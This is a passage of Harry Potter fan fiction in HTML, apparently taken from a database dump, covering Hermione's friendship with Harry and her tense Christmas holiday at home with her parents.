Harry had tried desperately to\nconvince Hagrid that it was Snape who tried to kill Harry.&nbsp; But Hagrid was just as stubborn as she had\nbeen on the topic only a day ago.&nbsp; He\nwouldn&#8217;t believe that a Hogwarts teacher would try to kill a student.&nbsp; She realized then that there was no way that\nDumbledore would believe them either.&nbsp;\nThey would have to get more proof.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had learned\nsome useful information from Hagrid though.&nbsp;\nAs it turned out, he was the one who owned the three-headed dog.&nbsp; He had named it &#8220;Fluffy,&#8221; which Hermione\nfound rather ironic since there was nothing fluffy about the dog in her\nopinion.&nbsp; From what Hagrid had let slip,\nhe lent the dog to Dumbledore to protect something that was valuable to both\nthe headmaster and a man by the name of Nicholas Flamel.&nbsp; But beyond that, they were just as clueless\nas before.&nbsp; They had known clue who Flamel was, though the name did sound familiar.&nbsp; What could be so valuable that Snape would\ntry to betray Dumbledore and kill Harry Potter?&nbsp;\nIt just didn&#8217;t make any sense.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As the party\nbegan to die down and the crowd in the common room thinned, Harry came to sit\nwith her.&nbsp; Ron was still laughing with\nhis two older twin brothers.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey,&#8221; he said\ncalmly as he sat across from her. &#8220;You okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, just\nthinking about everything,&#8221; Hermione said quietly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know in all\nthe rush and celebrating and stuff, I never did properly thank you for saving\nmy life.&#8221; Harry grinned awkwardly at her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry&#8230;&#8221;\nHermione waved it away as if it were nothing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; Harry\ncut across her. &#8220;If it weren&#8217;t for you, there&#8217;s no way I would have\nsurvived.&nbsp; You really kept your wits\nabout you.&nbsp; I&#8217;m glad you were looking out\nfor me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione blushed.\n&#8220;Well, you saved my life too, you know.&nbsp;\nI guess we&#8217;re even now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry put a hand\non her shoulder.&nbsp; &#8220;You know how you\nalways used to tell me that you weren&#8217;t sure if you&#8217;d be able to react well in\na pinch, you know, because of what happened with the troll and how you froze.&#8221;\nHermione nodded slowly.&nbsp; She remembered\nsharing that fear with Harry in one of their previous conversations. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry continued.\n&#8220;Well I think this proves that you can be the same clever, resourceful witch\nthat you always are, even when the stakes are high.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nsmiled.&nbsp; She realized that she had\nanswered the question that had dropped in her head back at Halloween.&nbsp; The tables had been turned and when Harry was\nin trouble, she was able to save him, just as he had done for her.&nbsp; Maybe she did have the courage it took to be\na good witch after all.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry stood. &#8220;I&#8217;m\nglad to have you for a best friend.&#8221; He told her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221;\nHermione said almost breathlessly as he left.&nbsp;\nHarry didn&#8217;t know it, but Hermione felt like she could explode with joy\nright there on the spot.&nbsp; She realized\nthat it didn&#8217;t matter what Lavender or Parvati or any of the other students\nthought.&nbsp; She knew the truth: she and\nHarry Potter were best friends.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 9, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; I think the chapter title says it all.&nbsp; Hermione&#8217;s back with her parents to spend an\ninteresting (if not slightly stressful) holiday.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here\n---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry, Ron, and\nHermione had decided that the first thing they had to do was find out exactly\nwhat &#8220;fluffy&#8221; was guarding.&nbsp; They needed\nto know as much as possible about whatever was beneath the trap door so they\ncould understand why Snape would want to steal it.&nbsp; The best way to do that would be to find out\nall about Nicholas Flamel.&nbsp; Hermione felt\nlike she was in her element.&nbsp; Finding out\nobscure facts was what she did best, and the library was like her home.&nbsp; She was positive that she would be able to\nquickly figure out the puzzle by doing a little research.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Unfortunately she\nquickly found out that it wouldn&#8217;t be that easy.&nbsp; Nicholas Flamel might as well be a ghost; he\nwas just as elusive.&nbsp; No matter how many\nbooks she and the boys checked, they could never find his name.&nbsp; What made things worse was that they only\nhave a few spare moments throughout the week to look, and the cold weather\nwasn&#8217;t exactly motivating them to want to be in the drafty library.&nbsp; Still they didn&#8217;t relent in their search no\nmatter how futile it seemed and they also remember that Snape wasn&#8217;t going to\nget past Fluffy anytime soon.&nbsp; It didn&#8217;t\nmatter how much dark magic he knew, the three-headed dog would rip him to\nshreds before he could even raise his wand.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Although they\nwere eager to learn the mystery behind Flamel, the trio didn&#8217;t spend all of\ntheir free time in the library.&nbsp; Hogwarts\nhad turned into a winter wonderland and Hermione wanted to relish this time\nbefore she had to go back home for the holidays. &nbsp;Her favorite times were when Ron was playing\nwizard&#8217;s chess with Seamus in the Gryffindor common room because this almost\nalways meant that she got Harry to herself for an hour or so.&nbsp; Usually they would spend this time walking\naround the lake and talking.&nbsp; To keep\nthemselves warm on these strolls, Hermione would use her clever wind blocking\ncharm and then conjure a bluebell flame and enchant it so that it would follow\nthem around, floating in the air just behind them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was a\nlittle more talkative when they weren&#8217;t around Ron and always more willing to\ndiscuss things like his life with the Dursleys, his confusion about who he\nreally was in the wizarding world beyond just &#8220;the famous Harry Potter,&#8221; and\nhis concerns about his future.&nbsp; Hermione\nin turn talked about her fears about being a muggle-born witch and how it would\naffect her life and her family, the reasons why she always felt she had to push\nherself academically, and what her life had been like before she came to\nHogwarts.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Of course their\ntalks weren&#8217;t always serious.&nbsp; Half the\ntime they were trying to figure out new and grander ways to get rid of Malfoy\nand his band of Slytherin idiots or at least get them off their back.&nbsp; Malfoy had been an increasing annoyance ever\nsince Harry had secured Gryffindor&#8217;s victory over Slytherin in their last\nquidditch game.&nbsp; Pansy, of course, was\nalways quick to find new reasons to taunt Hermione for hanging out with Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Their last walk\naround the lake was the afternoon before the holidays started.&nbsp; They had just left lunch and Ron had gone off\nto play one final round of wizard&#8217;s chess with Seamus before he left.&nbsp; Hermione was still fuming about a fight she\nhad gotten in with Pansy during lunch.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I swear if that\ngirl says &#8216;muggle-born witch&#8217; to me one more time, I&#8217;m going to figure out how\nto transfigure her into a toad,&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed. &#8220;I\nthink that&#8217;s easier said than done, but I wouldn&#8217;t put it past you.&nbsp; So what are you going to do for the holidays\nback in the muggle world?&#8221; he asked changing the subject.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione hadn&#8217;t\nreally given that much thought. &#8220;Well, I&#8217;m sure both my parents will still be\nworking.&nbsp; I know how their practices can\nbe this time of year.&nbsp; Everyone is on\nholiday, of course, so this is a good time for most people to go get a\ncheckup.&nbsp; I&#8217;ll probably have a lot of\nfree time on my hands while they&#8217;re at work.&nbsp;\nI&#8217;ll be studying of course to make sure I have everything ready for when\nI come back to school.&nbsp; Other than that,\nI guess I&#8217;ll just try to relax.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her a\nlook that said all to clearly he thought Hermione could use some time to relax.\n&#8220;What about your friends back home?&nbsp; Are\nyou going to see any of them?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230; I don&#8217;t\nreally have any friends back home.&nbsp; You\nknow, I told you about my old school,&#8221; she reminded him vaguely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded. &#8220;I\njust figured maybe you had friends in your neighborhood, or cousins your age or\nsomething,&#8221; he mumbled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nope. None of my\nextended family lives nearby.&nbsp; It doesn&#8217;t\nmatter though,&#8221; Hermione said brightly. &#8220;I&#8217;ll have a fun time back home.&nbsp; I&#8217;ve always loved Christmas.&nbsp; So what are you going to do during the\nholidays?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know,&#8221;\nHarry shrugged. &#8220;Ron wants to teach me wizard&#8217;s chess.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nshuddered. &#8220;That game is so barbaric.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, isn&#8217;t that\nHermione language for: &#8216;I suck at that game,&#8217;&#8221; Harry teased.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;Okay that&#8217;s it, Potter.&nbsp; You&#8217;re going to pay for that one.&#8221; Hermione\npulled out her wand and waved it at the ground. &#8220;Fred and George taught me\nthis.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Three balls of\nsnow shot from the ground and speed towards Harry.&nbsp; His eyes grew wide and he took off towards\nthe castle, with the snowballs in hot pursuit.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione followed\nand as they made their way quickly back to main doors she marveled at how only\na few weeks prior, she couldn&#8217;t wait to go home to be free of school.&nbsp; Now she didn&#8217;t want to leave her new\nlife.&nbsp; Harry would be staying for the\nholidays, preferring this to going back to a hellish life with his muggle aunt\nand uncle.&nbsp; She was envious that Ron\nwould get to stay over the holidays with him because his mom and dad were going\noff to visit his older brother for the holidays.&nbsp; Meanwhile, in less than a day, she would be\non the Hogwarts Express, speeding back to a life she didn&#8217;t even feel was hers\nanymore.&nbsp; It felt very weird.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sat with\nLavender, Parvati, and Padma on the train ride back to London.&nbsp; Lavender and Parvati were being extra nice to\nher lately and Hermione suspected that it was because she had walked in on them\ntalking about her, and they felt guilty.&nbsp;\nIn any case, the girls were careful not to talk about Harry at all on\nthe trip, and Hermione had to admit it was ten times more pleasant than her\nlast ride on the train.&nbsp; She even joined\nin on their banter about the latest &#8220;who likes who&#8221; gossip at Hogwarts.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione donned\nher normal clothing in the bathroom on the train shortly after its departure\nfrom Hogsmeade.&nbsp; When they arrived in\nLondon, she said a quick goodbye to her roommates and then rushed off the\ntrain, eager to beat the crowd to the platform exit.&nbsp; As she walked down the platform, she noticed\nseveral merchants lining the wall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Cringle&#8217;s\nCharmed Christmas Catalogs!&#8221; one of them shouted. &#8220;Shop for Christmas gifts\nfrom the convenience of your home.&nbsp; We\npickup your order and money, and your gifts arrive exactly on Christmas Day,\nguaranteed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\npaused.&nbsp; She hadn&#8217;t thought about buying\na Christmas gift for Harry and she knew there was little chance she&#8217;d be\ngetting back to Diagon Alley during the holidays.&nbsp; Her parents hadn&#8217;t been overly impressed with\nthe Leaky Cauldron the last time they went.&nbsp;\nShe made her way over to the merchant.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How much are\nthese?&#8221; she asked the balding man.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Absolutely free,\nmy dear.&nbsp; You don&#8217;t pay until you shop.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really?&nbsp; That&#8217;s great.&#8221; Hermione took the catalog he\noffered her. &#8220;How does it work?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He pointed to the\nenvelope in the center of the catalog. &#8220;Just place your money and order into\nthe envelope.&nbsp; It has a modified port key\ncharm.&nbsp; Once you seal it, your order will\nbe whisked away to our office and we&#8217;ll take care of the rest.&nbsp;&nbsp; But remember, don&#8217;t seal the envelope until\nyou&#8217;re absolutely sure you&#8217;re order is right.&nbsp;\nYou only get one chance.&nbsp; Also the\nenvelope won&#8217;t leave if you don&#8217;t have the correct amount of money inside for\nyour order.&nbsp; Change will be sent back to\nyou in the return envelope a few hours later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione took all\nthis in as she thumbed through the book.&nbsp;\nThe catalog seemed to have everything from candy to broomsticks.&nbsp; She was sure she&#8217;d be able to find the\nperfect gift in it.&nbsp; Then something\nstruck her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230; do you take\nmuggle money by any chance?&#8221; she asked tentatively.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Excuse me?&#8221; the\nmerchant eyed her suspiciously. &#8220;We&#8217;re trying to run a professional operation\nhere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Never mind,&#8221; she\nsaid quickly.&nbsp; She shoved the catalog\ninto her bag and walked towards the platform exit again.&nbsp; She didn&#8217;t have much wizard&#8217;s money\nleft.&nbsp; She silently scolded herself for\nnot converting more of her savings when she was at Gringotts in the\nsummer.&nbsp; She would have to make do with\nthe 5 galleons she had left.&nbsp; She never\nactually needed to buy anything at Hogwarts and she still had plenty of school\nsupplies so she would just survive without pocket money for the rest of the\nschool year.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Resolving herself\nto this idea, she stood in the now long line waiting to be let out of the magical\nstation.&nbsp; After a few minutes the\nattendant allowed her through and as the muggle platform came into view, she\nsaw her mom and dad waiting patiently for her off to one side.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8221;Welcome home\ndear!&#8221; Mrs. Granger hugged her daughter. &#8220;How was your trip back?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not nearly as\nbad as my trip up, but it was fine.&#8221; Hermione said immediately. &#8220;I wish Harry\nhad come though.&nbsp; You would have gotten\nto meet him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s alright\ndear, we&#8217;re just glad to have you home.&nbsp;\nThe car&#8217;s this way.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait,&#8221; Mr.\nGranger said suddenly.&nbsp; &#8220;I believe you\nhaven&#8217;t shown us something, young lady.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled\nher eyes, but was careful not to let her father see this. &#8220;Dad, I told you in\nmy last letter, Hogwarts doesn&#8217;t have progress reports and I can&#8217;t do magic\noutside of school.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well then how am\nI supposed to know that you&#8217;ve actually been learning something up there and\nnot just spending our hard earned money doing parlor tricks?&#8221; her father asked\nirritably.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione grumbled\nas she reached into her bag.&nbsp; Her father\ncould be insufferable sometimes. &#8220;Here,&#8221; she pulled out a jar that contained a\nfloating blue flame.&nbsp; &#8220;It&#8217;s supposed to\nbe your Christmas gift, but you can have it now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her father took\nit. &#8220;What&#8217;s this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a flame I\ncreated.&nbsp; It won&#8217;t extinguish. It&#8217;s portable,\nit&#8217;s waterproof, and it can keep any room warm once you take it out of the&#8230; DAD\nDON&#8217;T!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Granger was\nunscrewing the top of the jam jar; presumably to get a closer look at the\nflame, but the moment he took the top off, it shot out and grew to twice its\noriginal size.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione whipped\nout her wand and pointed it at the flame.&nbsp;\nShe knew she had to contain it again before someone else noticed. &#8220;Back,\nget back in there,&#8221; she ordered, pushing the flame back down with her wand.&nbsp; It shrunk back into the jar and she quickly\nscrewed the top back on.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione breathed\na sigh of relief.&nbsp; That was close.\n&#8220;Alright, now you know what a real witch can do.&nbsp; Can we go home now?&nbsp; You can open your flame there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Granger was\nstill a little shaken by what had happened. &#8220;Yes&#8230; yes of course.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shook\nher head in irritation as she followed her parents to the parking lot. &#8220;Parlor\ntricks indeed.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione spent\nthe first few days of her winter break doing something she hadn&#8217;t done in a\nlong time&#8230; nothing.&nbsp; Her mother and\nfather were still working at their dental practice, as they didn&#8217;t plan on\nclosing their office until Christmas Eve.&nbsp;\nThen they would open again until New Year&#8217;s Eve.&nbsp; So during the day she had the house to\nherself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Maybe it was\nbecause she was away from the pressure of her studies but Hermione had\nabsolutely no desire to do anything that required effort.&nbsp; She didn&#8217;t feel like she needed to impress\nanyone and was finally able to unwind.&nbsp;\nShe lounged around the house in various sets of pajamas watching\ntelevision, eating snacks, and flipping through the Charmed Christmas\nCatalog.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There weren&#8217;t a\nlot of options for gifts fewer than 5 galleons.&nbsp;\nThe delivery fees alone would eat up part of her money and all the\nprices were inflated.&nbsp; Plus she had no\nidea what she should get Harry.&nbsp; What do\nyou buy for someone who saved you from a mountain troll?&nbsp;&nbsp;&nbsp; And if she bought something for Harry, she\nknew she&#8217;d have to buy Ron a gift as well.&nbsp;\nAfter all, he was her friend too and he&#8217;d actually been a lot nicer\nlately.&nbsp; She didn&#8217;t want that to change\njust because she sent a gift to Harry and not Ron.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Still that didn&#8217;t\nleave a lot of money for two gifts.&nbsp; In\nthe end, she decided on candy; small, practical, and sure to be appreciated by\nthe boys.&nbsp; She ordered a large box of chocolate\nfrogs for Harry, and an equally large box of Bertie Botts Every Flavor Beans\nfor Ron.&nbsp; She slipped 3 galleons into the\nenvelope with her completed order and sealed it carefully.&nbsp; It disappeared in an instant.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was glad she\ndidn&#8217;t have anyone else to buy gifts for.&nbsp;\nShe hated shopping because she always felt like she had to find the\nperfect gift.&nbsp; Her parents loved the\nflame she&#8217;d made for them and it would definitely save them money on heating\nthe house.&nbsp; This particular blue flame\nemitted a great deal of heat but was magically cool to the touch.&nbsp; This way they could move it around anywhere\nthey wanted without any help and push it back into the jam jar when they were\ndone with it.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Usually, it sat\nin the fireplace as if it were a real fire they had lit.&nbsp; Mrs. Granger had decided that this was the\nbest place for it in case company came unexpectedly.&nbsp; If anyone asked about the color, she&#8217;d say\nthey used special logs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and her\nparents always spent dinner together and during these meals, she would tell\nthem as much about her school life as she dared.&nbsp; She purposely edited some material out like\nthe midnight misadventures that led her to find out about fluffy, the story of\nhow Snape tried to kill Harry, and the fact that she regularly snuck out at\nnight to visit her secret spot on the ramparts.&nbsp;\nShe stuck mainly to telling them all about the new friendships she had\nformed and how it had a very positive influence on her school life.&nbsp; She did, however, eventually tell them about\nhow Harry and Ron saved her from the mountain troll, though she made sure to\npoint out that trolls didn&#8217;t regularly storm through the castle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But still that\nwas very dangerous Hermione.&nbsp; Why didn&#8217;t\nyou tell us about this sooner?&#8221; her mom asked between bites of chicken.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because I knew\nyou&#8217;d worry,&#8221; Hermione said matter-of-factly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The whole castle\ndoesn&#8217;t sound like a very good learning environment.&#8221; Mr. Granger said. &#8220;How\nare you supposed to keep on your studies if you have to worry about the stairs\nand corridors shifting, and ghosts and poltergeists and mountain trolls?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dad, all of that\nis part of our education.&nbsp; Being a witch\nmeans being able to handle your environment and the unexpected,&#8221; Hermione\npointed out.&nbsp; &#8220;Some things can&#8217;t be\nlearned from books.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing of any\nvalue,&#8221; Mr. Granger said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione hated\nwhen her father acted like this. &#8220;There are a lot of important things you can&#8217;t\nget from books, like courage,&#8221; she said heatedly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Granger took a long gulp of water.\n&#8220;Hermione that&#8217;s not the point.&nbsp; You&#8217;re\nnot going to get anywhere, witch or no witch, if you don&#8217;t buckle down in your\nstudies and get everything you can out of your education.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed.\n&#8220;Dad, I couldn&#8217;t possibly study any harder.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh really,&#8221; Mr.\nGranger said shaking his fork at her. &#8220;From what I&#8217;ve seen you&#8217;ve spent this\nentire holiday so far lounging around and not getting any work done for when\nyou return to school.&nbsp; If I didn&#8217;t know\nany better, I&#8217;d say these new friends of yours have been a bad influence on\nyou.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now dear&#8230;&#8221; Mrs.\nGranger said, trying to calm her husband.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what are you\nsaying,&#8221; Hermione almost shouted.&nbsp; She\ncould feel her temper rising. &#8220;That I can&#8217;t have any friends now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not saying\nthat at all dear but you have to prioritize.&nbsp;\nYou have a very special gift and you need to make the most of this\nexperience so that when you get out in the real world you&#8217;ll have all the\nskills and education you need at your disposal.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione knew\nshe&#8217;d never win this argument. &#8220;Fine, Dad.&nbsp;\nRest assured; I won&#8217;t let a little thing like friendship get in the way\nof my bright future.&#8221; She stood. &#8220;Can I be excused?&nbsp; I have a lot of work to do before school\nstarts, you know.&#8221;&nbsp; She didn&#8217;t wait for\nthe answer.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was too\nupset to do anything so she just lay in bed staring at the ceiling and\nthinking.&nbsp; A half-hour after she&#8217;d left\nthe table, there was a knock on her door.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her mom entered.\n&#8220;Hermione, are you okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She rolled over\nto face her mother. &#8220;Yeah I&#8217;m fine.&nbsp; It&#8217;s\njust that sometimes&#8230; I don&#8217;t know.&nbsp; I\ndon&#8217;t think Dad gets it.&nbsp; It&#8217;s like he\nthinks I can&#8217;t keep up with my studies and have a life at the same time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Granger\nsmiled. &#8220;Of course he doesn&#8217;t get it, but that&#8217;s because he&#8217;s a Granger.&nbsp; He can be very narrow-minded at times.&nbsp; You should know, you can be the same way when\nyou want.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\ngrimaced. &#8220;I&#8217;m never like that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh really,\nlittle Miss Speak-Before-You-Think.&#8221; Mrs. Granger laughed. &#8220;If I recall,\nseveral weeks ago, you wrote to me saying that Harry and Ron were two\n&#8216;self-centered, egotistical, prats&#8217; as you put it.&nbsp; Now you have nothing but praise.&nbsp; I think something else changed your mind out\nabout Harry, and I&#8217;m not talking about being rescued from a mountain troll.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione blushed.\n&#8220;Oh alright, I guess I can be a little hot headed at times too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And you have to\nadmit, you have your father&#8217;s passion for studies as well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nsighed.&nbsp; It was true.&nbsp; She did.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You two are so\nstubborn and hard headed.&#8221; Mrs. Granger ruffled her daughter&#8217;s bushy hair. &#8220;That&#8217;s\nwhy I love you both.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re a\nmasochist,&#8221; Hermione laughed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No&#8230; I&#8217;m a\nGranger.&#8221; Mrs. Granger kissed her daughter and then left the room.&nbsp; &#8220;Now you better get some rest dear.&nbsp; Tomorrow&#8217;s Christmas.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione tore\ninto another gift. &#8220;I hope Father Christmas was this generous to the other kids\nin the world.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Granger gave\nher a quizzical look. &#8220;Hermione, you&#8217;ve never believed in that.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Even as a\n5-year-old you were completely against the idea,&#8221; Mrs. Granger reminded her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well that&#8217;s before\nI read &#8216;Great Wizards and Witches of the Old Era,&#8217;&#8221; Hermione explained as she\nunwrapped a new school bag. &#8220;Apparently Chris Cringle was a very powerful\nwizard who was trying to improve wizard/muggle relations.&nbsp; He decided the best way to do this would be\nto give gifts to poor muggle children.&nbsp;\nOf course the whole thing caused a huge 